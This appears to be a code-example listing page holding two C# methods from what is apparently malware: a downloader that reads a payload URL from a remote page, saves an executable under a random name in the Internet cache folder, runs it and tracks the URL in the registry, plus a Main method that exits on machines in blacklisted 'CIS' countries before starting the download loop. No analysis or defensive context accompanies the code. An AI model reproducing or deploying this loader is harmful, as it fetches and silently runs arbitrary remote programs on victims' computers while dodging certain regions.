예제 #1
0
        private static void Work()
        {
            try
            {
                string rnd      = Helper.RandomID(6);
                string dropPath = $"{Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)}\\{rnd}.exe";

                string urlOnPage;
                using (StreamReader strr = new StreamReader(HttpWebRequest.Create(urlPage).GetResponse().GetResponseStream()))
                {
                    urlOnPage = strr.ReadToEnd();
                }

                using (WebClient wc = new WebClient())
                {
                    {
                        if (MyRegistry.GetURL() != urlOnPage)
                        {
                            if (File.Exists(dropPath))
                            {
                                File.Delete(dropPath);
                            }
                            MyRegistry.SetURL(urlOnPage);
                            if (urlOnPage.Length > 0)
                            {
                                if (MyRegistry.GetURL() != null)
                                {
                                    ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
                                    wc.DownloadFile(new Uri(urlOnPage), dropPath);
                                    Process.Start(dropPath);
                                }
                            }
                        }
                    }
                    ewh.Set();
                    clearCount.Set();
                }
            }
            catch
            {
                ewh.Set();
                clearCount.Set();
            }
        }
예제 #2
0
        static void Main(string[] args)
        {
            if (Helper.Cis(dom)) // If country in black list, application close
            {
                Environment.Exit(1);
            }
            MyRegistry.Check();
            ewh = new EventWaitHandle(false, EventResetMode.AutoReset);

            Thread t = new Thread(Work);

            t.Start();

            while (Interlocked.Read(ref threadCount) < 1)
            {
                Thread.Sleep(3000);
            }

            while (Interlocked.Read(ref threadCount) > 0)
            {
                WaitHandle.SignalAndWait(ewh, clearCount);
            }
        }